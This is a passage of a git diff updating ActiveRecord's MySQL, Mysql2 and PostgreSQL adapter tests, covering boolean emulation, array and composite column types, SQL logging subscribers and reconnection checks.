+            `id` int(11) auto_increment PRIMARY KEY,
             `number` integer,
             `data` varchar(255))
         eosql
       end
 
+      def test_bad_connection_mysql
+        assert_raise ActiveRecord::NoDatabaseError do
+          configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+          connection = ActiveRecord::Base.mysql_connection(configuration)
+          connection.exec_query('drop table if exists ex')
+        end
+      end
+
       def test_valid_column
         column = @conn.columns('ex').find { |col| col.name == 'id' }
         assert @conn.valid_type?(column.type)
@@ -75,7 +83,7 @@ module ActiveRecord
         @conn.exec_query('drop table if exists ex_with_non_standard_pk')
         @conn.exec_query(<<-eosql)
           CREATE TABLE `ex_with_non_standard_pk` (
-            `code` INT(11) DEFAULT NULL auto_increment,
+            `code` INT(11) auto_increment,
              PRIMARY KEY  (`code`))
         eosql
         pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
@@ -87,7 +95,7 @@ module ActiveRecord
         @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
         @conn.exec_query(<<-eosql)
           CREATE TABLE `ex_with_custom_index_type_pk` (
-            `id` INT(11) DEFAULT NULL auto_increment,
+            `id` INT(11) auto_increment,
              PRIMARY KEY  USING BTREE (`id`))
         eosql
         pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
index 4cf4bc4..8eb9565 100644
--- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
 
 class Group < ActiveRecord::Base
   Group.table_name = 'group'
-  belongs_to :select, :class_name => 'Select'
+  belongs_to :select
   has_one :values
 end
 
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
index 807a7a1..87c5277 100644
--- a/activerecord/test/cases/adapters/mysql/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -17,6 +17,44 @@ module ActiveRecord
           self.table_name = "#{db}.#{table}"
           def self.name; 'Post'; end
         end
+
+        @connection.create_table "mysql_doubles"
+      end
+
+      teardown do
+        @connection.execute "drop table if exists mysql_doubles"
+      end
+
+      class MysqlDouble < ActiveRecord::Base
+        self.table_name = "mysql_doubles"
+      end
+
+      def test_float_limits
+        @connection.add_column :mysql_doubles, :float_no_limit, :float
+        @connection.add_column :mysql_doubles, :float_short, :float, limit: 5
+        @connection.add_column :mysql_doubles, :float_long, :float, limit: 53
+
+        @connection.add_column :mysql_doubles, :float_23, :float, limit: 23
+        @connection.add_column :mysql_doubles, :float_24, :float, limit: 24
+        @connection.add_column :mysql_doubles, :float_25, :float, limit: 25
+        MysqlDouble.reset_column_information
+
+        column_no_limit = MysqlDouble.columns.find { |c| c.name == 'float_no_limit' }
+        column_short = MysqlDouble.columns.find { |c| c.name == 'float_short' }
+        column_long = MysqlDouble.columns.find { |c| c.name == 'float_long' }
+
+        column_23 = MysqlDouble.columns.find { |c| c.name == 'float_23' }
+        column_24 = MysqlDouble.columns.find { |c| c.name == 'float_24' }
+        column_25 = MysqlDouble.columns.find { |c| c.name == 'float_25' }
+
+        # Mysql floats are precision 0..24, Mysql doubles are precision 25..53
+        assert_equal 24, column_no_limit.limit
+        assert_equal 24, column_short.limit
+        assert_equal 53, column_long.limit
+
+        assert_equal 24, column_23.limit
+        assert_equal 24, column_24.limit
+        assert_equal 53, column_25.limit
       end
 
       def test_schema
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
index 83de90f..209a0cf 100644
--- a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -3,20 +3,20 @@ require 'cases/helper'
 module ActiveRecord::ConnectionAdapters
   class MysqlAdapter
     class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_cache_is_per_pid
+          cache = StatementPool.new nil, 10
+          cache['foo'] = 'bar'
+          assert_equal 'bar', cache['foo']
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+          pid = fork {
+            lookup = cache['foo'];
+            exit!(!lookup)
+          }
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
-
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
+          Process.waitpid pid
+          assert $?.success?, 'process should exit successfully'
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
new file mode 100644
index 0000000..267aa23
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
@@ -0,0 +1,91 @@
+require "cases/helper"
+
+class Mysql2BooleanTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class BooleanType < ActiveRecord::Base
+    self.table_name = "mysql_booleans"
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("mysql_booleans") do |t|
+      t.boolean "archived"
+      t.string "published", limit: 1
+    end
+    BooleanType.reset_column_information
+
+    @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
+  end
+
+  teardown do
+    emulate_booleans @emulate_booleans
+    @connection.drop_table "mysql_booleans"
+  end
+
+  test "column type with emulated booleans" do
+    emulate_booleans true
+
+    assert_equal :boolean, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "column type without emulated booleans" do
+    emulate_booleans false
+
+    assert_equal :integer, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "test type casting with emulated booleans" do
+    emulate_booleans true
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true, boolean_column)
+    assert_equal 1, @connection.type_cast(true, string_column)
+  end
+
+  test "test type casting without emulated booleans" do
+    emulate_booleans false
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true, boolean_column)
+    assert_equal 1, @connection.type_cast(true, string_column)
+  end
+
+  test "with booleans stored as 1 and 0" do
+    @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+    boolean = BooleanType.first
+    assert_equal true, boolean.archived
+    assert_equal "1", boolean.published
+  end
+
+  test "with booleans stored as t" do
+    @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+    boolean = BooleanType.first
+    assert_equal "t", boolean.published
+  end
+
+  def boolean_column
+    BooleanType.columns.find { |c| c.name == 'archived' }
+  end
+
+  def string_column
+    BooleanType.columns.find { |c| c.name == 'published' }
+  end
+
+  def emulate_booleans(value)
+    ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
+    BooleanType.reset_column_information
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index fedd9f6..5665b17 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -3,14 +3,22 @@ require "cases/helper"
 class MysqlConnectionTest < ActiveRecord::TestCase
   def setup
     super
+    @subscriber = SQLSubscriber.new
+    ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
     @connection = ActiveRecord::Base.connection
-    @connection.extend(LogIntercepter)
-    @connection.intercepted = true
   end
 
   def teardown
-    @connection.intercepted = false
-    @connection.logged = []
+    ActiveSupport::Notifications.unsubscribe(@subscriber)
+    super
+  end
+
+  def test_bad_connection
+    assert_raise ActiveRecord::NoDatabaseError do
+      configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+      connection = ActiveRecord::Base.mysql2_connection(configuration)
+      connection.exec_query('drop table if exists ex')
+    end
   end
 
   def test_no_automatic_reconnection_after_timeout
@@ -18,6 +26,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     @connection.update('set @@wait_timeout=1')
     sleep 2
     assert !@connection.active?
+
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connections.each do |c|
+      c.verify!
+    end
   end
 
   def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -61,6 +74,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_mysql_sql_mode_variable_overides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+      result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+      assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+    end
+  end
+
   def test_mysql_set_session_variable_to_default
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -72,14 +93,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
 
   def test_logs_name_show_variable
     @connection.show_variable 'foo'
-    assert_equal "SCHEMA", @connection.logged[0][1]
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
   end
 
   def test_logs_name_rename_column_sql
     @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
-    @connection.logged = []
+    @subscriber.logged.clear
     @connection.send(:rename_column_sql, 'bar_baz', 'foo', 'foo2')
-    assert_equal "SCHEMA", @connection.logged[0][1]
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
   ensure
     @connection.execute "DROP TABLE `bar_baz`"
   end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 68ed361..1cd356e 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -10,15 +10,15 @@ module ActiveRecord
         def test_explain_for_one_query
           explain = Developer.where(:id => 1).explain
           assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
-          assert_match %(developers | const), explain
+          assert_match %r(developers |.* const), explain
         end
 
         def test_explain_with_eager_loading
           explain = Developer.where(:id => 1).includes(:audit_logs).explain
           assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers`  WHERE `developers`.`id` = 1), explain
-          assert_match %(developers | const), explain
+          assert_match %r(developers |.* const), explain
           assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs`  WHERE `audit_logs`.`developer_id` IN (1)), explain
-          assert_match %(audit_logs | ALL), explain
+          assert_match %r(audit_logs |.* ALL), explain
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
index e76617b..1a82308 100644
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
 
 class Group < ActiveRecord::Base
   Group.table_name = 'group'
-  belongs_to :select, :class_name => 'Select'
+  belongs_to :select
   has_one :values
 end
 
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
index 9ecd901..ec73ec3 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -4,22 +4,35 @@ module ActiveRecord
   module ConnectionAdapters
     class Mysql2Adapter
       class SchemaMigrationsTest < ActiveRecord::TestCase
-        def test_initializes_schema_migrations_for_encoding_utf8mb4
-          conn = ActiveRecord::Base.connection
+        def test_renaming_index_on_foreign_key
+          connection.add_index "engines", "car_id"
+          connection.execute "ALTER TABLE engines ADD CONSTRAINT fk_engines_cars FOREIGN KEY (car_id) REFERENCES cars(id)"
+
+          connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+          assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+        ensure
+          connection.execute "ALTER TABLE engines DROP FOREIGN KEY fk_engines_cars"
+        end
 
+        def test_initializes_schema_migrations_for_encoding_utf8mb4
           smtn = ActiveRecord::Migrator.schema_migrations_table_name
-          conn.drop_table(smtn) if conn.table_exists?(smtn)
+          connection.drop_table(smtn) if connection.table_exists?(smtn)
 
-          config = conn.instance_variable_get(:@config)
+          config = connection.instance_variable_get(:@config)
           original_encoding = config[:encoding]
 
           config[:encoding] = 'utf8mb4'
-          conn.initialize_schema_migrations_table
+          connection.initialize_schema_migrations_table
 
-          assert conn.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
+          assert connection.column_exists?(smtn, :version, :string, limit: Mysql2Adapter::MAX_INDEX_LENGTH_FOR_UTF8MB4)
         ensure
           config[:encoding] = original_encoding
         end
+
+        private
+        def connection
+          @connection ||= ActiveRecord::Base.connection
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 5db60ff..43c9116 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -65,6 +65,15 @@ module ActiveRecord
         assert_nil index_c.using
         assert_equal :fulltext, index_c.type
       end
+
+      def test_drop_temporary_table
+        @connection.transaction do
+          @connection.create_table(:temp_table, temporary: true)
+          # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+          # will complain that no transaction is active
+          @connection.drop_table(:temp_table, temporary: true)
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/oracle/synonym_test.rb b/activerecord/test/cases/adapters/oracle/synonym_test.rb
deleted file mode 100644
index b9a422a..0000000
--- a/activerecord/test/cases/adapters/oracle/synonym_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
-  def test_oracle_synonym
-    topic = Topic.new
-    subject = Subject.new
-    assert_equal(topic.attributes, subject.attributes)
-  end
-
-end
diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
index 1632968..22dd48e 100644
--- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb
@@ -25,9 +25,7 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
 
   def test_add_index
     # add_index calls index_name_exists? which can't work since execute is stubbed
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) do |*|
-      false
-    end
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.stubs(:index_name_exists?).returns(false)
 
     expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people"  ("last_name") WHERE state = 'active')
     assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'")
@@ -51,8 +49,6 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase
 
     expected = %(CREATE UNIQUE INDEX  "index_people_on_last_name" ON "people" USING gist ("last_name") WHERE state = 'active')
     assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'", :using => :gist)
-
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:remove_method, :index_name_exists?)
   end
 
   private
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index e5e877f..f68f207 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -10,11 +10,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
 
   def setup
     @connection = ActiveRecord::Base.connection
-      @connection.transaction do
-        @connection.create_table('pg_arrays') do |t|
-          t.string 'tags', :array => true
-        end
+    @connection.transaction do
+      @connection.create_table('pg_arrays') do |t|
+        t.string 'tags', array: true
+        t.integer 'ratings', array: true
       end
+    end
     @column = PgArray.columns.find { |c| c.name == 'tags' }
   end
 
@@ -25,11 +26,39 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
   def test_column
     assert_equal :string, @column.type
     assert @column.array
+    assert_not @column.text?
+
+    ratings_column = PgArray.columns_hash['ratings']
+    assert_equal :integer, ratings_column.type
+    assert ratings_column.array
+    assert_not ratings_column.number?
+  end
+
+  def test_default
+    @connection.add_column 'pg_arrays', 'score', :integer, array: true, default: [4, 4, 2]
+    PgArray.reset_column_information
+    column = PgArray.columns_hash["score"]
+
+    assert_equal([4, 4, 2], column.default)
+    assert_equal([4, 4, 2], PgArray.new.score)
+  ensure
+    PgArray.reset_column_information
+  end
+
+  def test_default_strings
+    @connection.add_column 'pg_arrays', 'names', :string, array: true, default: ["foo", "bar"]
+    PgArray.reset_column_information
+    column = PgArray.columns_hash["names"]
+
+    assert_equal(["foo", "bar"], column.default)
+    assert_equal(["foo", "bar"], PgArray.new.names)
+  ensure
+    PgArray.reset_column_information
   end
 
   def test_change_column_with_array
     @connection.add_column :pg_arrays, :snippets, :string, array: true, default: []
-    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: "{}"
+    @connection.change_column :pg_arrays, :snippets, :text, array: true, default: []
 
     PgArray.reset_column_information
     column = PgArray.columns.find { |c| c.name == 'snippets' }
@@ -39,9 +68,24 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     assert column.array
   end
 
-  def test_type_cast_array
-    assert @column
+  def test_change_column_cant_make_non_array_column_to_array
+    @connection.add_column :pg_arrays, :a_string, :string
+    assert_raises ActiveRecord::StatementInvalid do
+      @connection.transaction do
+        @connection.change_column :pg_arrays, :a_string, :string, array: true
+      end
+    end
+  end
+
+  def test_change_column_default_with_array
+    @connection.change_column_default :pg_arrays, :tags, []
 
+    PgArray.reset_column_information
+    column = PgArray.columns_hash['tags']
+    assert_equal [], column.default
+  end
+
+  def test_type_cast_array
     data = '{1,2,3}'
     oid_type  = @column.instance_variable_get('@oid_type').subtype
     # we are getting the instance variable in this test, but in the
@@ -56,6 +100,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     assert_equal([nil], @column.type_cast('{NULL}'))
   end
 
+  def test_type_cast_integers
+    x = PgArray.new(ratings: ['1', '2'])
+    assert x.save!
+    assert_equal(['1', '2'], x.ratings)
+  end
+
   def test_rewrite
     @connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
     x = PgArray.first
@@ -69,28 +119,44 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     assert_equal(['1','2','3'], x.tags)
   end
 
-  def test_multi_dimensional
-    assert_cycle([['1','2'],['2','3']])
+  def test_multi_dimensional_with_strings
+    assert_cycle(:tags, [[['1'], ['2']], [['2'], ['3']]])
+  end
+
+  def test_with_empty_strings
+    assert_cycle(:tags, [ '1', '2', '', '4', '', '5' ])
+  end
+
+  def test_with_multi_dimensional_empty_strings
+    assert_cycle(:tags, [[['1', '2'], ['', '4'], ['', '5']]])
+  end
+
+  def test_with_arbitrary_whitespace
+    assert_cycle(:tags, [[['1', '2'], ['    ', '4'], ['    ', '5']]])
+  end
+
+  def test_multi_dimensional_with_integers
+    assert_cycle(:ratings, [[[1], [7]], [[8], [10]]])
   end
 
   def test_strings_with_quotes
-    assert_cycle(['this has','some "s that need to be escaped"'])
+    assert_cycle(:tags, ['this has','some "s that need to be escaped"'])
   end
 
   def test_strings_with_commas
-    assert_cycle(['this,has','many,values'])
+    assert_cycle(:tags, ['this,has','many,values'])
   end
 
   def test_strings_with_array_delimiters
-    assert_cycle(['{','}'])
+    assert_cycle(:tags, ['{','}'])
   end
 
   def test_strings_with_null_strings
-    assert_cycle(['NULL','NULL'])
+    assert_cycle(:tags, ['NULL','NULL'])
   end
 
   def test_contains_nils
-    assert_cycle(['1',nil,nil])
+    assert_cycle(:tags, ['1',nil,nil])
   end
 
   def test_insert_fixture
@@ -99,18 +165,33 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
     assert_equal(PgArray.last.tags, tag_values)
   end
 
+  def test_attribute_for_inspect_for_array_field
+    record = PgArray.new { |a| a.ratings = (1..11).to_a }
+    assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]", record.attribute_for_inspect(:ratings))
+  end
+
+  def test_update_all
+    pg_array = PgArray.create! tags: ["one", "two", "three"]
+
+    PgArray.update_all tags: ["four", "five"]
+    assert_equal ["four", "five"], pg_array.reload.tags
+
+    PgArray.update_all tags: []
+    assert_equal [], pg_array.reload.tags
+  end
+
   private
-  def assert_cycle array
+  def assert_cycle field, array
     # test creation
-    x = PgArray.create!(:tags => array)
+    x = PgArray.create!(field => array)
     x.reload
-    assert_equal(array, x.tags)
+    assert_equal(array, x.public_send(field))
 
     # test updating
-    x = PgArray.create!(:tags => [])
-    x.tags = array
+    x = PgArray.create!(field => [])
+    x.public_send("#{field}=", array)
     x.save!
     x.reload
-    assert_equal(array, x.tags)
+    assert_equal(array, x.public_send(field))
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
index 489efac..b8dd35c 100644
--- a/activerecord/test/cases/adapters/postgresql/bytea_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -66,7 +66,7 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
   def test_write_value
     data = "\u001F"
     record = ByteaDataType.create(payload: data)
-    refute record.new_record?
+    assert_not record.new_record?
     assert_equal(data, record.payload)
   end
 
@@ -74,14 +74,14 @@ class PostgresqlByteaTest < ActiveRecord::TestCase
     data = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'assets', 'example.log'))
     assert(data.size > 1)
     record = ByteaDataType.create(payload: data)
-    refute record.new_record?
+    assert_not record.new_record?
     assert_equal(data, record.payload)
     assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
   end
 
   def test_write_nil
     record = ByteaDataType.create(payload: nil)
-    refute record.new_record?
+    assert_not record.new_record?
     assert_equal(nil, record.payload)
     assert_equal(nil, ByteaDataType.where(id: record.id).first.payload)
   end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
new file mode 100644
index 0000000..7202cce
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlCompositeTest < ActiveRecord::TestCase
+  class PostgresqlComposite < ActiveRecord::Base
+    self.table_name = "postgresql_composites"
+  end
+
+  def teardown
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_composites'
+    @connection.execute 'DROP TYPE IF EXISTS full_address'
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.transaction do
+      @connection.execute <<-SQL
+         CREATE TYPE full_address AS
+         (
+             city VARCHAR(90),
+             street VARCHAR(90)
+         );
+        SQL
+      @connection.create_table('postgresql_composites') do |t|
+        t.column :address, :full_address
+      end
+    end
+  end
+
+  def test_composite_mapping
+    @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+    composite = PostgresqlComposite.first
+    assert_equal "(Paris,Champs-Élysées)", composite.address
+
+    composite.address = "(Paris,Rue Basse)"
+    composite.save!
+
+    assert_equal '(Paris,"Rue Basse")', composite.reload.address
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index 6b726ce..4715fa0 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -7,14 +7,14 @@ module ActiveRecord
 
     def setup
       super
+      @subscriber = SQLSubscriber.new
+      ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
       @connection = ActiveRecord::Base.connection
-      @connection.extend(LogIntercepter)
-      @connection.intercepted = true
     end
 
     def teardown
-      @connection.intercepted = false
-      @connection.logged = []
+      ActiveSupport::Notifications.unsubscribe(@subscriber)
+      super
     end
 
     def test_encoding
@@ -47,58 +47,78 @@ module ActiveRecord
 
     def test_tables_logs_name
       @connection.tables('hello')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_indexes_logs_name
       @connection.indexes('items', 'hello')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_table_exists_logs_name
       @connection.table_exists?('items')
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_table_alias_length_logs_name
       @connection.instance_variable_set("@table_alias_length", nil)
       @connection.table_alias_length
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_current_database_logs_name
       @connection.current_database
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_encoding_logs_name
       @connection.encoding
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
     end
 
     def test_schema_names_logs_name
       @connection.schema_names
-      assert_equal 'SCHEMA', @connection.logged[0][1]
+      assert_equal 'SCHEMA', @subscriber.logged[0][1]
+    end
+
+    def test_statement_key_is_logged
+      bindval = 1
+      @connection.exec_query('SELECT $1::integer', 'SQL', [[nil, bindval]])
+      name = @subscriber.payloads.last[:statement_name]
+      assert name
+      res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(#{bindval})")
+      plan = res.column_types['QUERY PLAN'].type_cast res.rows.first.first
+      assert_operator plan.length, :>, 0
     end
 
-    # Must have with_manual_interventions set to true for this
-    # test to run.
+    # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
+    # true for this test to run.
+    #
     # When prompted, restart the PostgreSQL server with the
     # "-m fast" option or kill the individual connection assuming
     # you know the incantation to do that.
     # To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
     # sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
     def test_reconnection_after_actual_disconnection_with_verify
-      skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
-
       original_connection_pid = @connection.query('select pg_backend_pid()')
 
       # Sanity check.
       assert @connection.active?
 
-      puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
-           'server with the "-m fast" option) and then press enter.'
-      $stdin.gets
+      if @connection.send(:postgresql_version) >= 90200
+        secondary_connection = ActiveRecord::Base.connection_pool.checkout
+        secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
+        ActiveRecord::Base.connection_pool.checkin(secondary_connection)
+      elsif ARTest.config['with_manual_interventions']
+        puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+          'server with the "-m fast" option) and then press enter.'
+        $stdin.gets
+      else
+        # We're not capable of terminating the backend ourselves, and
+        # we're not allowed to seek assistance; bail out without
+        # actually testing anything.
+        return
+      end
 
       @connection.verify!
 
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index 1b2f5f0..8b81e09 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -3,9 +3,6 @@ require "cases/helper"
 class PostgresqlArray < ActiveRecord::Base
 end
 
-class PostgresqlRange < ActiveRecord::Base
-end
-
 class PostgresqlTsvector < ActiveRecord::Base
 end
 
@@ -46,104 +43,6 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
     @connection.execute("INSERT INTO postgresql_arrays (id, commission_by_quarter, nicknames) VALUES (1, '{35000,21000,18000,17000}', '{foo,bar,baz}')")
     @first_array = PostgresqlArray.find(1)
 
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '[''2012-01-02'', ''2012-01-04'']',
-      '[0.1, 0.2]',
-      '[''2010-01-01 14:30'', ''2011-01-01 14:30'']',
-      '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']',
-      '[1, 10]',
-      '[10, 100]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'', ''2012-01-04'')',
-      '[0.1, 0.2)',
-      '[''2010-01-01 14:30'', ''2011-01-01 14:30'')',
-      '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')',
-      '(1, 10)',
-      '(10, 100)'
-    )
-_SQL
-
